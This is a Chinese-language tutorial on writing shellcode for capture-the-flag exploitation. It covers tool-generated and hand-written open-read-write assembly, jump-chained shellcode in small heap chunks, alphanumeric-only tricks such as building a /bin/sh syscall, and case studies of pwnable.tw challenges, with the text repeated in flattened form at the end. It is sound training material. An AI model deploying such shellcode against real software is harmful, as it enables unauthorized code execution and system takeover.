shellcode编写过程总结
字数 1726 2025-08-24 20:49:31

Shellcode编写技术全面指南

一、Shellcode基础概念

Shellcode是一段用于利用软件漏洞的可执行机器代码,通常用于获取系统控制权。在二进制安全领域,Shellcode编写是一项核心技能。

Shellcode的主要特点:

  • 通常以十六进制机器码形式存在
  • 需要避免包含空字节(\x00)
  • 需要适应目标环境的内存布局
  • 可能需要满足特定字符集限制

二、Shellcode生成方法

1. 使用工具自动生成

常用工具:

  • pwntools的shellcraft模块
  • msfvenom
  • exploit-db数据库中的现成shellcode

示例(使用pwntools):

from pwn import *

# 生成打开文件的shellcode
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax', 'esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)

2. 手写汇编代码

示例(手写ORW shellcode):

shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
''')

三、Shellcode链技术

当空间受限时(如每个内存块只能写入少量字节),可以使用Shellcode链技术,通过跳转指令将多个小块连接起来执行完整功能。

关键跳转指令机器码:

  • 0xE8 CALL:后面四个字节是地址
  • 0xE9 JMP:后面四个字节是偏移
  • 0xEB JMP:后面二个字节是偏移
  • 0xFF15 CALL:后面四个字节是存放地址的地址
  • 0xFF25 JMP:后面四个字节是存放地址的地址
  • 0x68 PUSH:后面四个字节入栈
  • 0x6A PUSH:后面一个字节入栈

跳转偏移计算方法:

假设当前指令地址为0x1000,指令为E9 16 00 00 00

0x1000 + 16(偏移) + 5(指令长度) = 0x101B

Shellcode链构建示例:

# 堆块布局示例
'''
0x00 0 0x21
0x10 00000018e94831f6 0 
0x20 0 0x21
0x30 00000018e94831d2 0 
0x40 0 0x21
0x50 00000018e9586a3b 0 
0x60 9090909090900f50 0x21
0x70 0 0
'''

四、受限字符Shellcode编写

当shellcode需要满足特定字符集限制时(如仅字母数字),需要特殊技巧:

1. 常用可见字符汇编指令

数据传送:

  • push/pop eax...
  • pusha/popa

算术运算:

  • inc/dec eax...
  • sub al, 立即数
  • sub byte ptr [eax... + 立即数], al dl...

逻辑运算:

  • and al, 立即数
  • xor al, 立即数

比较指令:

  • cmp al, 立即数

转移指令:

  • push 56h
  • pop eax
  • cmp al, 43h
  • jnz lable <=> jmp lable

2. 寄存器清零技巧

push 44h
pop eax
sub al, 44h  ; eax = 0

push esi
push esp
pop eax
xor [eax], esi  ; esi = 0

3. 构造系统调用示例

push ecx
pop eax
xor al, 0x41
xor al, 0x40  ; eax = 0x3 (read系统调用号)

push edx
pop ecx       ; ecx = 0

push 0x68     ; push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx       ; ebx = "/bin/sh"地址

五、实战案例分析

案例1:note_service2

  • 漏洞:double free
  • 利用:构造shellcode链
  • 关键技术:
    • 使用多个小块shellcode通过跳转连接
    • 计算精确的跳转偏移
    • 通过free触发shellcode执行

案例2:death_note

  • 限制:仅允许特定字符集的shellcode
  • 解决方案:
    • 使用可见字符指令构造功能
    • 动态修改内存中的指令(如将\x74\x39修改为int 0x80
    • 利用现有寄存器状态减少指令需求

案例3:alive_note

  • 挑战:严格的字符限制和空间限制
  • 解决方案:
    • 多阶段shellcode链
    • 精心计算跳转偏移
    • 动态修改关键指令
    • 使用read系统调用读入无限制的shellcode

六、调试技巧

  1. 使用EDB调试器:验证跳转指令行为
  2. pwntools辅助:快速测试汇编指令对应的机器码
    asm('xor rsi,rsi', arch='amd64')
    
  3. 跳转计算工具:如"吾爱工具跳转指令计算器"
  4. 内存布局可视化:绘制堆块布局图辅助计算偏移

七、防御与绕过

常见防御措施:

  • NX(不可执行内存)
  • ASLR(地址空间随机化)
  • 堆栈保护
  • 系统调用过滤

绕过技术:

  • ROP(面向返回编程)
  • JIT spraying
  • 重用已有可执行内存区域
  • 部分覆盖技术

八、总结与练习建议

学习路径建议:

  1. 从工具生成的shellcode开始
  2. 学习手写简单shellcode
  3. 尝试受限字符集的shellcode
  4. 最后挑战shellcode链构造

推荐练习题目:

  • 攻防世界pwn新手区的string
  • 中科大比赛的shellhacker
  • pwnable.tw的orw
  • unctf的orwpwn
  • 攻防世界的note_service2
  • pwnable.tw的death_note
  • pwnable.tw的alive_note

通过系统学习和实践,掌握shellcode编写技术是二进制安全研究的重要基础技能。

Shellcode编写技术全面指南 一、Shellcode基础概念 Shellcode是一段用于利用软件漏洞的可执行机器代码,通常用于获取系统控制权。在二进制安全领域,Shellcode编写是一项核心技能。 Shellcode的主要特点: 通常以十六进制机器码形式存在 需要避免包含空字节(\x00) 需要适应目标环境的内存布局 可能需要满足特定字符集限制 二、Shellcode生成方法 1. 使用工具自动生成 常用工具: pwntools的shellcraft模块 msfvenom exploit-db数据库中的现成shellcode 示例(使用pwntools): 2. 手写汇编代码 示例(手写ORW shellcode): 三、Shellcode链技术 当空间受限时(如每个内存块只能写入少量字节),可以使用Shellcode链技术,通过跳转指令将多个小块连接起来执行完整功能。 关键跳转指令机器码: 0xE8 CALL :后面四个字节是地址 0xE9 JMP :后面四个字节是偏移 0xEB JMP :后面二个字节是偏移 0xFF15 CALL :后面四个字节是存放地址的地址 0xFF25 JMP :后面四个字节是存放地址的地址 0x68 PUSH :后面四个字节入栈 0x6A PUSH :后面一个字节入栈 跳转偏移计算方法: 假设当前指令地址为0x1000,指令为 E9 16 00 00 00 : Shellcode链构建示例: 四、受限字符Shellcode编写 当shellcode需要满足特定字符集限制时(如仅字母数字),需要特殊技巧: 1. 常用可见字符汇编指令 数据传送: push/pop eax... pusha/popa 算术运算: inc/dec eax... sub al, 立即数 sub byte ptr [eax... + 立即数], al dl... 逻辑运算: and al, 立即数 xor al, 立即数 比较指令: cmp al, 立即数 转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 2. 寄存器清零技巧 3. 构造系统调用示例 五、实战案例分析 案例1:note_ service2 漏洞:double free 利用:构造shellcode链 关键技术: 使用多个小块shellcode通过跳转连接 计算精确的跳转偏移 通过free触发shellcode执行 案例2:death_ note 限制:仅允许特定字符集的shellcode 解决方案: 使用可见字符指令构造功能 动态修改内存中的指令(如将 \x74\x39 修改为 int 0x80 ) 利用现有寄存器状态减少指令需求 案例3:alive_ note 挑战:严格的字符限制和空间限制 解决方案: 多阶段shellcode链 精心计算跳转偏移 动态修改关键指令 使用read系统调用读入无限制的shellcode 六、调试技巧 使用EDB调试器 :验证跳转指令行为 pwntools辅助 :快速测试汇编指令对应的机器码 跳转计算工具 :如"吾爱工具跳转指令计算器" 内存布局可视化 :绘制堆块布局图辅助计算偏移 七、防御与绕过 常见防御措施: NX(不可执行内存) ASLR(地址空间随机化) 堆栈保护 系统调用过滤 绕过技术: ROP(面向返回编程) JIT spraying 重用已有可执行内存区域 部分覆盖技术 八、总结与练习建议 学习路径建议: 从工具生成的shellcode开始 学习手写简单shellcode 尝试受限字符集的shellcode 最后挑战shellcode链构造 推荐练习题目: 攻防世界pwn新手区的string 中科大比赛的shellhacker pwnable.tw的orw unctf的orwpwn 攻防世界的note_ service2 pwnable.tw的death_ note pwnable.tw的alive_ note 通过系统学习和实践,掌握shellcode编写技术是二进制安全研究的重要基础技能。